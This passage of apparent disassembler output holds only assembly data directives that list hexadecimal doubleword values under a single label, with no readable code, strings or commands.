		dd 0B0A9B117h, 3A666903h, 0B288A8F8h, 415101E6h, 590E8C2h
		dd 365DC0C5h, 839B573Fh, 0A77570ADh, 9FCDA8C6h,	0E1F024FFh
		dd 0C890010h, 7B01959Eh, 0E57A3F00h, 3975EBF7h,	71E903CDh
		dd 81079FA4h, 0C9F88CD0h, 0E1051A00h, 80DDBA31h, 58D100E7h
		dd 3849D256h, 33001D93h, 1180ECAh, 6086156Ch, 0D13D6445h
		dd 70009FCBh, 614E071h,	0E86741A3h, 0F5B00111h,	18933F2Ch
		dd 0DEDBC02Fh, 99607AD8h, 0E6A31EC0h, 0AF2B8091h, 0AC0F9225h
		dd 7350E4E2h, 0EB00C2ECh, 0CA2C172Fh, 0A655F9h,	0FE8C8E77h
		dd 0D13C9403h, 5144720Ch, 0B7F108h, 0BE0409DFh,	0B2527AEh
		dd 3DC9E203h, 0F2B83AD7h, 0BCC16359h, 387874C1h, 19F4C1C1h
		dd 35250048h, 52B62FF1h, 0AC39D456h, 0FCE8000Eh, 121BD1ADh
		dd 24850FB7h, 15A00BD3h, 83EC2E28h, 4400907Ah, 9F51DBD9h
		dd 1E9A1DE7h, 0C2383A75h, 16AF73D2h, 7D083468h,	199E39h
		dd 51D5588Ah, 4B85BC3h,	72BD768Fh, 3826F86Ah, 0AF360122h
		dd 6EF8962Ch, 0E85E8443h, 9813A3h, 1163C8Eh, 0FF2A2385h
		dd 31F6F300h, 2E80D79Dh, 0E7FE1E1Dh, 3869C02Dh,	29A53278h
		dd 2082BD30h, 306CAEE2h, 0D6118845h, 67001192h,	840638ACh
		dd 24C7BB4Bh, 1E4CA77Dh, 6CD58D0Dh, 0CF78CC80h,	0EBD03904h
		dd 41C026D7h, 0EF15D11h, 0DC8F3D72h, 938D2AE0h,	85007DA9h
		dd 7AE1903Ah, 0DA26B8h,	2A9A5E0Ah, 0CEAF1289h, 0F802D42Ch
		dd 0D766F701h, 6BE03D51h, 160900B8h, 0BECAF665h, 96ECCCD8h
		dd 39DE3400h, 0E6524D37h, 19910EC6h, 8960CEB1h,	443D5B6Ah
		dd 4EADB40Eh, 3C28201Ah, 0E114DF6h, 346567B6h, 0C04A25C0h
		dd 4707FA60h, 27D48EDh,	0B4E43D0h, 0E1840033h, 2686C9F7h
		dd 0AE01B7B0h, 12187C1Dh, 142090A5h, 44AF00B8h,	0E224DC84h
		dd 5A006EE1h, 12C9CE0Ch, 1EFFE5D4h, 6C52F3C4h, 0C80BC058h
		dd 6C0F2119h, 0E0ACE459h, 2FAB5E91h, 43D400AEh,	3212A7BEh
		dd 2407108Fh, 3E781795h, 74300D50h, 0D94C07D1h,	0D0965C1Bh
		dd 0CA293ABCh, 80A78E00h, 0F0CB4391h, 2C0F483Ch, 0E2794900h
		dd 615D6EB9h, 0B1130600h, 7AD8C975h, 4223178Eh,	0F76600CBh
		dd 0C80DAC3Ah, 89B20C00h, 38A74EB8h, 45DB0375h,	155E7F1Dh
		dd 0BFE0A980h, 3547E400h, 68CCF5F7h, 6D4E0072h,	279779A1h
		dd 0FA13EA7Fh, 1416CD9Eh, 0F04610h, 6DC61B0Bh, 79BC58h
		dd 2F17DCA9h, 0A828EF73h, 11A78603h, 0D88B7E80h, 3CDBE0F1h
		dd 0B3BE3012h, 0E7DDC40Bh, 8AB81421h, 28E82025h, 38857830h
		dd 0EB37CC8h, 7080DF6h,	0C0A0CAC4h, 32CCD99Ah, 4E065907h
		dd 1B20C220h, 789A66D3h, 1E6064Bh, 20B896A6h, 3A911101h
		dd 215CBA97h, 27A8288Eh, 5519BB01h, 0EE6E846h, 38F2DF30h
		dd 71815B4Eh, 92A33A3Ah, 4F653002h, 108EE00Fh, 9B5A6FE0h
		dd 0A2008FC0h, 17505B09h, 48B47h, 7CB47D57h, 2D42F670h
		dd 0FB20180Bh, 8488006Fh, 13B769h, 26A0A4E3h, 18DF3072h
		dd 1D250E00h, 0ADC92F44h, 60F7005Bh, 40EF869Ch,	0A800ECEEh
		dd 8128B237h, 3317C518h, 0F3F9586Fh, 49B510D0h,	77B1DD2Eh
		dd 331CEA00h, 4093908h,	2C709620h, 0FD6E8193h, 350698BBh
		dd 4546F0h, 0F501E7E4h,	15CEA98Ah, 87C07C1Ch, 0A0E921D8h
		dd 39E80C64h, 6C71B306h, 0BAA65205h, 0F383A437h, 4DC69833h
		dd 9A3B0057h, 4B21AC25h
		dd 0F129FD4h, 0B8004326h, 4666D95Eh, 0D0340378h, 0B27A1593h
		dd 0B075178h, 0EF0160Ch, 60335512h, 0C0AD0A2Eh,	52136521h
		dd 0E9003235h, 567FA1B2h, 0F330EC2h, 5AA0D3B7h,	8C8D140h
		dd 0FF01BBEAh, 994B46DBh, 40872A77h, 506B58E6h,	0F3ECD240h
		dd 841A2B00h, 8A5A3B2Dh, 48F5FA70h, 9F009D44h, 7405A19Ah
		dd 9C72A524h, 66CA0B00h, 0E1811217h, 481614D4h,	11015CA4h
		dd 0B57B6927h, 0E7688047h, 2E2D3D65h, 15BA0007h, 0FF1F67BCh
		dd 0ABE26C3Bh, 0F3E3D700h, 0F045327Bh, 4C6100DDh, 0BC28B60Eh
		dd 14EA8EC5h, 9900FF71h, 9E90A857h, 2724582Bh, 88008FAEh
		dd 0A712E9F4h, 116A590Eh, 0A0EF20h, 0EE9D5B6Bh,	299007A4h
		dd 51B9A1D8h, 80F092B4h, 66216B30h, 18462D11h, 115F2216h
		dd 0AA078ACBh, 37350153h, 833F4FAh, 2B212C47h, 0C24D0021h
		dd 1CA3CD34h, 517E1F1Fh, 117B3FC1h, 52F44A6Bh, 94F803A8h
		dd 0DEBB3715h, 0C0E34781h, 3D7B0533h, 3074F0EDh, 0F3440E1Fh
		dd 8C5D2681h, 909112E8h, 0AA7C8008h, 42A5017Dh,	8359C302h
		dd 0C316C8AAh, 53E0B0Dh, 1301BD68h, 88121074h, 64294661h
		dd 0A5916707h, 33F60150h, 312840CCh, 0E8585BA5h, 0FB0C0032h
		dd 0E915A0C9h, 4E005440h, 6AB659Eh, 7C20DBBCh, 0E53D00B1h
		dd 6AED420Fh, 410021DFh, 8CD847F2h, 759DAD3Bh, 2A7637h
		dd 86790D96h, 5EDA7CBCh, 0FFD55500h, 0E54C3D2Ch, 0EF8C0085h
		dd 535D6632h, 3E00AC3Ch, 180B5FCEh, 0F437F8h, 7FEAC370h
		dd 80F9CF6h, 0A67D9701h, 0D4027A4Ch, 32293E4h, 0CFD87B62h
		dd 6FFB67AAh, 0F7BBBDA0h, 0C906160Eh, 949CA1F8h, 882040E2h
		dd 7B9A0131h, 0E0D14FF3h, 0CB16E879h, 2741D500h, 0FA9CD7E4h
		dd 0A6EA0085h, 3B82788Bh, 0F400B1CAh, 0DEB66098h, 22D3A0h
		dd 2A2B98Eh, 0FC4CAFBFh, 3F98E400h, 303DFBB1h, 2FD80021h
		dd 9A6A81A9h, 730C3708h, 487FC2AEh, 238009Ch, 816ED284h
		dd 0E8180636h, 0E3CEB193h, 3E560761h, 9185DB27h, 0EC208B9Dh
		dd 0B3014B1Bh, 8E305376h, 58F083C3h, 5E8003F5h,	1536680Ah
		dd 0AA0045CBh, 0CF13DF78h, 0ACF216h, 0DCBBD523h, 5EF750B3h
		dd 4091AF30h, 1A521F9h,	0E95716E4h, 0CCEE3693h,	0B4750FFAh
		dd 392BB800h, 0D67D995Ah, 0A89A6737h, 6C48D33Ah, 0BAF33103h
		dd 0B82E9768h, 0BC56B3h, 6E50DD06h, 0F972F4F1h,	30DFD018h
		dd 0D2D8E0h, 1932449Bh,	977D895Ah, 14B76C1Eh, 3EFC8BCh
		dd 995506FBh, 0EBF7F008h, 0F64BFE63h, 7771395Fh, 946E1680h
		dd 0C49ABC8Eh, 851AB907h, 8770C913h, 72604A4Ch,	9C1E00D8h
		dd 0E8104953h, 200A8FCh, 8DFFE49Eh, 15819Fh, 64DDA2F6h
		dd 124B859Bh, 433A221Fh, 3EF9ECCEh, 162562Dh, 0FCE3359Ch
		dd 494BDC16h, 6C7E6200h, 8CA9FB23h, 43AB005Ah, 905B4DC5h
		dd 2478EE37h, 6A76B576h, 0F5988500h, 60DBF1C7h,	71F21E6Eh
		dd 0A7807F3Bh, 0B36120E7h, 2A5CC741h, 309100D2h, 2E720377h
		dd 7C320015h, 0C5264F5Dh, 0F8069612h, 0AF1F85BEh, 651C00F8h
		dd 72F57327h, 9A03012Dh, 26AD44E0h, 0D12BE828h,	0A1BB0023h
		dd 0C98645B6h, 0C073ED2Fh, 3900F2FEh, 0F111AC07h, 73E4334h
		dd 7B5F7364h, 0FB7F5082h, 0C33A6F36h, 991303FAh, 0A36979C5h
		dd 1476E0E0h, 12EE0CADh, 721FE6Ah, 127FB63Dh, 0AD0071C6h
		dd 0CE817EA7h, 67B300EFh, 0F63A8EFCh, 5F006A2Ah, 0F211ABB2h
		dd 88A615h, 9DEC6CC9h, 626B7AFBh, 88C79278h, 0DBC080DCh
		dd 0CCEF25h, 0C052BD6Eh, 0DF5DC2A5h, 3CDCB907h,	6F819B9Ah
		dd 0A3E01909h, 1F6500EDh, 0B69560BBh, 121E5155h, 0A4005DD3h
		dd 0AEAB61E1h, 7CFF0340h, 86808C22h, 0C29559B0h, 93EC0600h
		dd 55624B73h, 2EBE872h,	66144DA0h, 60F7C2A3h, 0F8BE0FE5h
		dd 0CE7593h, 897C7353h,	0B13E61E9h, 140F163h, 8AF316h
		dd 902C8F58h, 3BF0105Eh, 0D0747D00h, 914D22BBh,	2F8D00D8h
		dd 6F2C897Eh, 1B3E50F7h, 43EB004Ch, 0BFA6992h, 5720C029h
		dd 18E41C10h, 63010A79h, 0CECA8365h, 0F0E8ED91h, 0B272C2h
		dd 0D882643Fh, 0A421AFB9h, 0FD599606h, 18D886E4h, 0A0E6DFC4h
		dd 0CB18A7E1h, 0E4C84AA1h, 4D020145h, 0CB916C7h, 98B1608Fh
		dd 572684A0h, 6928E702h, 0A0741A72h, 0E60C0690h, 0C60B1850h
		dd 7D3C788Bh, 5A5EB503h, 0C0943EFDh, 48E6F7h, 0CBCDEB31h
		dd 384C28ACh, 0E4EFD600h, 928214F1h, 0CEB81402h, 8842418h
		dd 803603BEh, 0B8EEBB38h, 0CE789314h, 452DEB90h, 6046E408h
		dd 5229100h, 3483DBCEh,	6C633128h, 0D8E08129h, 200991Dh
		dd 259629A4h, 28DEC851h, 0CEF88076h, 1980CE28h,	9B02F2A5h
		dd 0F4A96A00h, 0A08CD955h, 4D5E442h, 0A5622C92h, 1088075h
		dd 0CD12D4C9h, 0AA105F0Ch, 69240FF8h, 402124Fh,	0DD3486F3h
		dd 0D0BC30C1h, 0C200A10Eh, 18B7793Bh, 17D1C13h,	0E305F030h
		dd 50AF529Eh, 3E279CB4h, 85964001h, 36209921h, 0CDD6FC40h
		dd 0B2BA0033h, 2211BC5Bh, 0E500E3E6h, 4FAD9137h, 397990h
		dd 0B6E027A4h, 2A8F0BA9h, 0C54A5600h, 0E42BC9A1h, 9F5B0117h
		dd 0F6396047h, 0EFA7DF7Fh, 73DCCF01h, 26A73058h, 185E0531h
		dd 0A6F8ABACh, 0B9BE3F2Ch, 0EC563080h, 0D207F9F7h, 0D0C317Bh
		dd 50ABAAF1h, 0DEAEC08Ch, 0FE29539Bh, 0D3EAFF00h, 7D58C1D6h
		dd 56650070h, 3A84D0F1h, 8507F723h, 7B671B09h, 7259F6F0h
		dd 0C11D0055h, 8F039E4h, 6C270F29h, 0A3F65Eh, 596F7570h
		dd 100181Fh, 98504D66h,	792A4F7h, 0B9BD9E4Ah, 0CD89D01Bh
		dd 0E300E4A7h, 0FE164163h, 1CAA111h, 1D79BA87h,	0EC76F3B8h
		dd 1000B5A2h, 173B4856h, 0FE05307Bh, 59880F37h,	0A8E08ABFh
		dd 806C82D5h, 44FFBB07h, 2610B036h, 9D4CAAh, 0DFDD466Bh
		dd 8C80533Ch, 86C27900h, 441FDC65h, 0FB80366h, 863C4FDh
		dd 0B7D03Eh, 6535A40Ah,	0E5B8009h, 6FAF1ECAh, 9E574F40h
		dd 0A00EDBCh, 776AB9CEh, 3DE2267h, 4B783ACFh, 0F2BA5434h
		dd 7A219080h, 4A0098ECh, 0DAC6BA9Fh, 3F2B0Fh, 84FC0ACFh
		dd 459AE530h, 1C13FE38h, 1D971F63h, 1C036300h, 0FDD6582h
		dd 328F75A7h, 0EEA18BC0h, 0D300CD0Ah, 7FC8D8EBh, 0F2A92DCBh
		dd 0C3FA0013h, 5D106321h, 0F8006D1Bh, 304E2A84h, 12114Ah
		dd 0BB9F438Fh, 546AB01h, 84323700h, 53DEFFC9h, 0C80660D6h
		dd 0CE1E3F29h, 0E5C08100h, 0FA77048Bh, 78F600A4h, 0E2799DE1h
		dd 917738Eh, 0D618AD6Dh, 0FD8B4CF4h, 75E6AD61h,	0EC2F82C0h
		dd 78BB0B39h, 5B5E4100h, 1D7F2606h, 45750E25h, 3AE0BEC6h
		dd 79AF65E3h, 0EA4A9403h, 0E86A8A69h, 6B93DCh, 7C04FC66h
		dd 21A4BBA3h, 65688C00h, 0C592CAD9h, 0F330002Fh, 5AAB1537h
		dd 0A507DD2Ah, 29EEB5B1h, 199838A0h, 0A940040h,	3299D65Bh
		dd 2000F869h, 1AC1879h,	7FE02C4h, 6C58BEA8h, 0FC59C082h
		dd 4E0032D0h, 0E2A7852Bh, 787E3D6h, 0C9469B9Fh,	0A5160076h
		dd 84007F18h, 8F2C6941h, 12A8D3h, 0D436CBA4h, 3F93279Fh
		dd 0C6C4B0A0h, 7005FF4h, 78ECF24Eh, 4F940FBh, 3F08DE42h
		dd 923280E6h, 331EFED5h, 2F408030h, 4E101591h, 43811273h
		dd 932440EBh, 813A0D5h,	0F4499C02h, 8074FF14h, 38B94DECh
		dd 157501E1h, 8E9D695Fh, 0CA902006h, 5BCF7B12h,	0F980005Ch
		dd 4F55BEF1h, 93FF00CEh, 6BBB4DD7h, 97031CF4h, 0A221C047h
		dd 1687BBFh, 0D6FBF6CCh, 0F46F424Dh, 1B0077C9h,	0A00A0EC4h
		dd 388A11h, 0FB1C4FC1h
		dd 47962093h, 2735E91Dh, 0D6CE2840h, 0C0E10D91h, 41AD3C19h
		dd 4B003A83h, 25AA9F8Ah, 1F2BAB2Ah, 97ECC21h, 31003916h
		dd 987C5CBDh, 2AF88D00h, 0BF5D6CDh, 1FC0142h, 0D957ACE7h
		dd 8A70DC87h, 0CAF4CF50h, 51477500h, 222BAB2h, 2E7C73h
		dd 7D24F2B7h, 0A36D8927h, 0F0CEFC00h, 3CCC7CA9h, 0F2750F76h
		dd 0B40BDA8h, 0E78D9CE9h, 0EEC39E00h, 7EE66834h, 0E70C4C95h
		dd 94056500h, 1F52D799h, 6907D5F4h, 0A5341C39h,	0ABD938F0h
		dd 0DCB00C7h, 4012DC33h, 0D43CDA37h, 670C9663h,	0D13C1602h
		dd 0C9A680A6h, 35CE4Ch,	41762755h, 0CC8F1633h, 74F30B1Eh
		dd 0F7801F40h, 3F4DB06h, 0DE018412h, 30D7C9EDh,	45DB3E6h
		dd 2849D500h, 213A82Dh,	75CB0077h, 2E5CC79Bh, 0FA0BF0E4h
		dd 6C6DF8h, 4A127A07h, 0C0393D72h, 6FFA7Fh, 5CA5FACAh
		dd 717BA13Ch, 0ED120C00h, 143D5976h, 619A03E3h,	38DC8D2Ah
		dd 5DE787F0h, 511A0300h, 0CD4B15D9h, 3F267DF3h,	3880310Bh
		dd 0D2A388D8h, 5400FAC8h, 95A84C33h, 753B899h, 0B5CEA6A5h
		dd 15C160ABh, 6A5C2625h, 2CB30FE9h, 44046352h, 7B66C8BAh
		dd 5EF300CCh, 0F065DC23h, 495CF5FDh, 25B2072Ch,	0C3834EF9h
		dd 18779046h, 330601DCh, 541D0C76h, 0F4D5F0DBh,	388C48h
		dd 29DEA3A7h, 0EEE58150h, 0C6590014h, 3028CE23h, 930A4996h
		dd 0BC2045C8h, 0C3E17B00h, 7EA76D92h, 3766078Ah, 50AD26DCh
		dd 0DBB48651h, 47A0C700h, 0F7CE9101h, 2C805464h, 31A20036h
		dd 0FBCC97Dh, 0DD0017F4h, 0FFD7D54Dh, 3D3A6B48h, 0E98022A1h
		dd 0D0EB5D02h, 0CE0032A9h, 0D216A6BEh, 939426h,	4C655E97h
		dd 0D3A93EF7h, 0AD721100h, 23CC321Fh, 0E6B1F55h, 4A2D40ABh
		dd 456AAF1Ah, 975FDC03h, 0A079FC39h, 0C73D52h, 96E26D5Bh
		dd 0F94A8518h, 0B7AAEA00h, 3BCBE15h, 9CFB073h, 49A91B25h
		dd 835A3C21h, 4B0817h, 0B104A2BFh, 469C711Eh, 95BD6B01h
		dd 57D6C72Fh, 0E346AD4h, 873AD066h, 0B4948520h,	60EEE9A7h
		dd 3FCE4200h, 7366FA97h, 57BD0FDBh, 2BC3EB7Bh, 6E981DE9h
		dd 800AD3F1h, 0B43170E3h, 8F793407h, 6D538640h,	0AE7BAFh
		dd 0F32FD999h, 9DE94256h, 0D5CD7F00h, 7ACCF2C4h, 3A97B51h
		dd 0E17971Eh, 0C007842Dh, 0A1B5717Fh, 7ADB3580h, 62CE1E70h
		dd 2702C0FAh, 1AF948Fh,	3A3BED00h, 2C16B0D8h, 8AE12AC0h
		dd 0F44B2884h, 2BE20038h, 7B25A944h, 9407E11Ch,	0F7C42A28h
		dd 8D8B7EA0h, 0A74B0006h, 79DD3831h, 86B87F03h,	0F1136609h
		dd 0D2C2224h, 8E0C10ADh, 140E70Eh, 9935C05Dh, 7E6F6FEh
		dd 8982E945h, 3457E0C8h, 6DE4ED63h, 71688100h, 0D4087003h
		dd 0A5A4004Ah, 775BBD72h, 0F0143EFh, 41A7C27Ch,	95DC54D9h
		dd 96570035h, 1E3AF0FDh, 8B0060A6h, 0FFC0F407h,	0F5BF29h
		dd 5D381BBAh, 0EF267EB5h, 6ACE7C1Eh, 8A484A40h,	0D0C8ECh
		dd 0CBE355F7h, 6BE1F076h, 0B417A0C0h, 1B5272h, 1534EA9Fh
		dd 49A4792Dh, 0E5DC9603h, 0A8C6566Dh, 0D8B1DDh,	0B7E6F985h
		dd 0BA0D93Dh, 13AC7D52h, 1443A4E5h, 0CC1AC2EDh,	0C81C5FE1h
		dd 0FD008C8Fh, 0F5338817h, 919383AEh, 44E784D0h, 314CBABh
		dd 0DE931FA9h, 5B52B006h, 94650FC0h, 0D280972Bh, 90C36B3Eh
		dd 138E84Ch, 0DC25EFD8h, 4DD17876h, 0F71460h, 705EF557h
		dd 31D5D1BDh, 0FEC44CF1h, 0C03D4000h, 32FA5B9Dh, 0AB7800D2h
		dd 5D2AF14Fh, 840770FBh, 726E4D37h, 81C0F260h, 61E90FD1h
		dd 66D816EAh, 0B8003847h, 130AAD03h, 5580EDh, 1FEB50ECh
		dd 0B932CE7h, 40F3AE0Bh, 0BE5000E8h, 60A7FAh, 0CBA92514h
		dd 810E6A65h, 6C00BCF4h, 5DCA5233h, 0F578C8Dh, 1F19BC2h
		dd 5F7DB7C0h, 0EA00A2ECh, 0D5D97ADFh, 3B43E0h, 2AC4CF2Bh
		dd 323686FAh, 9F0299E8h, 132C0840h, 0F1EB80ABh,	0ED4746h
		dd 0D99E7A43h, 0CB32A1E7h, 828A6F38h, 0F715CFA3h, 9BDC68FAh
		dd 401D4429h, 766CB600h, 21A9E489h, 0D82D50ADh,	62E901E5h
		dd 0B7036880h, 9450E4C5h, 3D7D0C00h, 730E1BB5h,	59600032h
		dd 7A4FBF22h, 1903E333h, 2A8BDDD4h, 6931A084h, 0FA503CEEh
		dd 8002D049h, 5259BE3Dh, 0DC6FD881h, 2F90C3CEh,	2490D532h
		dd 0CBE90902h, 67C3AC9Bh, 0B8EB0EF4h, 0C83FAEC5h, 6058AF44h
		dd 0DFA0A094h, 38F7CB5h, 0DBBECBF3h, 0E9E306CAh, 1997BFD8h
		dd 0B971D709h, 0E8EC80CCh, 27844Dh, 313F635Ah, 0F75D9CA3h
		dd 797FF800h, 0CDAC3C90h, 47A2054Ch, 0C0189507h, 83C9E6CEh
		dd 2E3B98B2h, 20AA17DCh, 988B6000h, 4CC004h, 0F92CB28Ah
		dd 0D2653C1Dh, 92D5C01h, 0E28D1C2Eh, 7E6448DEh,	39059840h
		dd 3E801461h, 0A3F76C7Dh, 4A769415h, 0A8D25A0Eh, 0D44840ACh
		dd 815359h, 0A9F8AE05h,	0C83E0DD7h, 76F4B802h, 80D3C551h
		dd 1D2732A4h, 6CC90038h, 37DA1F61h, 0B200CAFAh,	204713B1h
		dd 24FDDB36h, 0F9F42E6h, 2860CFA5h, 0C10D3205h,	945459h
		dd 1AFECD1Eh, 0B31FC2h,	3F95E343h, 0C91709C3h, 7645E03Ch
		dd 0CC00A098h, 72A46CB0h, 199844B9h, 183E6225h,	2437605Eh
		dd 3D10940Ah, 0A790188Ah, 987DF100h, 8444BA40h,	14007A73h
		dd 7E12EEAEh, 9933Fh, 5EF84772h, 0A7865DFh, 0E9BF2F30h
		dd 0B2569Dh, 8FCB452Eh,	0BE697407h, 385F3E29h, 6136BF44h
		dd 4D40B50Eh, 7B51B8C4h, 22EC1357h, 0FE6C007Ch,	6BA70FD4h
		dd 64B81400h, 0C1DD8AF1h, 0EEF8E4h, 0DAF60B84h,	0C82F183Eh
		dd 0B3643000h, 0A8A5A9EDh, 0C737005Eh, 0E77872FBh, 290026D7h
		dd 0AF2C3AD3h, 0D5B974h, 0DFBFB858h, 6E0761DAh,	9E735C02h
		dd 6082D967h, 0F27C413h, 0DA41F866h, 169F75E0h,	0B300E443h
		dd 6B201EF2h, 79C29CCh,	625263ACh, 0CF483030h, 56070792h
		dd 6E7DDFF6h, 454C89D0h, 0D85E0F2Eh, 7E20CCD6h,	4EA0CDC7h
		dd 9BF9C061h, 5D71EE3Eh, 3CEA0ED7h, 0EF8CB913h,	76B00221h
		dd 7A687100h, 2E6F52BDh, 0A1FF39D4h, 3D3550E3h,	5789F290h
		dd 5658F600h, 316BB0B8h, 0ACAA0Ch, 7F94EDA8h, 111D607Dh
		dd 0CB93DF53h, 5907D5E2h, 5E04E72Fh, 798A43h, 969E3120h
		dd 719ED9Dh, 0F1BC9A00h, 780A9B43h, 90360C5Ah, 2C61F85Eh
		dd 49902977h, 0C602DA03h, 0A3044A7Ah, 6E2103FBh, 93E35DFAh
		dd 0E7DADBC8h, 948DE118h, 9A2B20A0h, 183A0340h,	0C57A58C2h
		dd 2042E5A1h, 0E200A8C4h, 7830CFD3h, 60C1E119h,	409A38A0h
		dd 1B0F59A4h, 0E0933687h, 7431C682h, 0B2220032h, 8D9CC9F1h
		dd 2A039D3Fh, 537B645Ah, 0EC6C87Dh, 3B8C00E6h, 7EBB990Dh
		dd 0B4019BFEh, 0EF4DB997h, 0C67079E2h, 0C2B801B5h, 0B21F1A55h
		dd 7D49DCBDh, 415213Fh,	0A7E7F472h, 9A950C0h, 27F7072Bh
		dd 206AC4A2h, 5EAED5FEh, 0BE9ED9A0h, 70C62400h,	392C6129h
		dd 72DA023Dh, 198F9677h, 83B8D363h, 48007C5Bh, 0B9350AF9h
		dd 7A5DB8E8h, 0A60200E2h, 0CB8B5078h, 0C80019CDh, 8A5748DFh
		dd 0C70914h, 638E86FEh,	0BD3F3374h, 290047B0h, 0C0BF30E8h
		dd 0AA2C75h, 8D2A4AB0h,	82B6198Eh, 80739839h, 0D69B4986h
		dd 0ECE43735h, 0E3FC00CDh, 0B93F5A89h, 8D03AB15h, 0D18C125Dh
		dd 88E5ABD3h, 0F4447Fh,	95C219B0h, 76A89790h, 0DE75C500h
		dd 0C98F9458h, 30EC7DE3h, 4185E7Bh, 1631C8B9h, 0E74A1E5Fh
		dd 190896h, 14093950h, 84003A3Eh, 0C04D3B16h, 0D6AB7A44h
		dd 0F03B0061h, 4675CE56h, 0BF0071F0h, 6F2F8C11h, 399A1380h
		dd 0BB305B35h, 0E9270131h
dword_52C048	dd 9DFB830Eh, 0F1F0091h, 3E6E84DFh, 0C6803704h,	0B5F1FF9Fh
		dd 10006FE4h, 0A8ABDC6Ah, 0E24818h, 0DC0DBCCh, 175CCB82h
		dd 703AFD00h, 84347C77h, 0BF40008Fh, 0A5E1E563h, 83188A60h
		dd 6428F792h, 0E4B606D4h, 208254F4h, 28DBD304h,	9F00C2F5h
		dd 0DFA5F89h, 3E55B313h, 8630A118h, 7C68E641h, 99D6007Eh
		dd 67FAA285h, 0F03ACBFh, 0B533F7DAh, 921A900Ah,	9563C7Bh
		dd 1097A107h, 7AC723B9h, 1C3ADED0h, 0D0600103h,	0E08869D9h
		dd 39A699F5h, 0F41E75h,	1F89FAB3h, 0A370CC37h, 0DE91FE00h
		dd 447B9A45h, 497852h, 0E68DD016h, 3E5BFAB7h, 88E9D400h
		dd 4DB37C72h, 57C93B26h, 8E063480h, 3E2881DBh, 5CCEC400h
		dd 5EE6EB99h, 5D0D00ECh, 553553DEh, 33761F26h, 2DFD2500h
		dd 7C3AD5BCh, 693E036Ch, 0C0E84B14h, 9F3730C0h,	9CAECA3Eh
		dd 13C08A87h, 0D414B64Dh, 8028DEF2h, 2D50BC36h,	0DA177E5Fh
		dd 0B700782Fh, 846EE4A2h, 7F203086h, 6C080728h,	3971C130h
		dd 22C2F0h, 38846451h, 8263ED4Eh, 632EA07h, 8620C54Bh
		dd 3A398192h, 2D3E42F5h, 0E5695E00h, 889E074h, 0D3668A00h
		dd 9CC7D847h, 0D97100A8h, 4AE2FCF5h, 5B06190h, 543F4E00h
		dd 0ECD4F642h, 0BBB4017Bh, 0D1BA2FAAh, 7906F356h, 0D1D115Dh
		dd 0C65C3D58h, 0C2700380h, 9B683876h, 2D8A4A00h, 75ED6BFAh
		dd 0ABCB002Bh, 6E795FA9h, 0B70021FFh, 32A5E282h, 60C5AFh
		dd 1DE9BC31h, 0CB6955F9h, 0CF6A040Ch, 0DEF815h,	4F4739FCh
		dd 6CD5FBB6h, 0FEAB88A0h, 0C308E928h, 151D1600h, 2C06FD5Fh
		dd 54CB0372h, 0EFA19B48h, 0E7C279B0h, 0E6D7EA00h, 8E9759DFh
		dd 50DB00EBh, 0D1F46C66h, 0A6009467h, 9F7EAA8Fh, 3BADDD9h
		dd 165358F8h, 6FB03EB5h, 4679899Dh, 2494FB00h, 2A28AE68h
		dd 3E3FF4EAh, 0CB9C4EF2h, 0A735403Ch, 4020602Dh, 0EC365100h
		dd 0EAF8C995h, 0C8F843h, 6FB80654h, 254E65F9h, 6D3C0F00h
		dd 1750D1E2h, 958A00C0h, 2172932Dh, 303A4516h, 151F8536h
		dd 0AD006C5Dh, 10BE3E78h, 0AC060E7Fh, 0E060271Dh, 22B4906Fh
		dd 0B1088F00h, 5B8A6211h, 0CB440018h, 1A29A2DAh, 0F03C495Fh
		dd 0B19D8012h, 20F1042Ch, 6EED0065h, 0D1FB6ACh,	8B0017C6h
		dd 948C3A83h, 0A19CE5h,	0EC9F78EDh, 0CD8A7DEBh,	0C271AD0Ch
		dd 14E58C6h, 0BC86955Dh, 800F1EFAh, 4DDFD480h, 0DD2B3Ch
		dd 2F71E58Ah, 0EADE0ECh, 61313F2Ch, 0E2C56200h,	0BCF4DEh
		dd 963582AEh, 0E19FA9A4h, 428C900h, 1C42EE62h, 1E4F007Dh
		dd 0AB2DFBD9h, 0A000F0FDh, 237AFF6Fh, 7176BCEh,	0DCB6CA7Eh
		dd 4FA3115Ah, 849B7024h, 0FC9E5F0Fh, 259DBDC4h,	938CB8Bh
		dd 7D0E00EDh, 1BD95ADh,	0B565DDC9h, 0F4AB03F9h,	1448A2D4h
		dd 9C5200E0h, 0A66058B2h, 40D80237h, 0FEBF0567h, 0DD81A180h
		dd 0C300900Fh, 1AEB2E94h, 1091358h, 0F09CBD56h,	0F0B45964h
		dd 6AF40F6Eh, 0FE3DCC00h, 0A7AE6684h, 94610026h, 0BAC1958Dh
		dd 0E67E1872h, 927B2E00h, 937EADC0h, 4B260E2Bh,	12207035h
		dd 0EB29F908h, 0CEAA5C00h, 0FE076980h, 0A95000F5h, 23118C62h
		dd 0CB0F762Ah, 0C07C558Fh, 0DBAD8ACh, 4F1B0365h, 43A641D7h
		dd 0CE3245C8h, 28A3B100h, 76E71791h, 525D0148h,	0E1AA483h
		dd 8A11E0D6h, 64E1980Eh, 187900D9h, 0E9DB08h, 0F8310DD2h
		dd 4F48C65Ah, 6A4A7F00h, 0AE582EF5h, 0EC9B001Eh, 304E8AADh
		dd 4900C31Dh, 865B273h,	1F46EE07h, 805AE9D6h, 0E22B4280h
		dd 610B8548h, 3DDC60Ch,	0F81E62B2h, 0A107EDh, 7EDF74E7h
		dd 0A0777CB8h, 8DA28B0Bh, 40350FF5h, 553F1B16h,	5A2000D2h
		dd 3C807690h, 100270Ah,	0D04AC60Eh, 0E3E9CAh, 0E79CDE99h
		dd 8E7BF83Bh, 0CD0037F2h, 8B280DA7h, 13ADB282h,	0B1B841h
		dd 8517EC00h, 4200B468h, 0E677D91Bh, 1BA02BFh, 0AD4525F5h
		dd 0C4321E8Dh, 9800D597h, 178283E5h, 2420E861h,	0A75DAEh
		dd 0E3D225FCh, 70B5EB18h, 5A993E12h, 7E00F53Ch,	8E57F00Bh
		dd 8B00DF30h, 77955922h, 1F88A82Bh, 80C0A17Dh, 9E33E0FAh
		dd 0BD0090CEh, 86608D89h, 63DD21h, 0FB1CDB5Bh, 0BECC51C2h
		dd 6CD4F000h, 6201EE99h, 172D0068h, 6078C6EFh, 0B0006A02h
		dd 0A93970BEh, 3BF43C8Ch, 0FA80D47Eh, 46B97951h, 0BB7E44F0h
		dd 0BAA7FB1Eh, 9AC3541Eh, 1A83F10h, 212E8D10h, 0F8C9DA59h
		dd 5300AFE3h, 0CAC70A57h, 0DEB67Ch, 0EBABAA3Eh,	0CE688DC8h
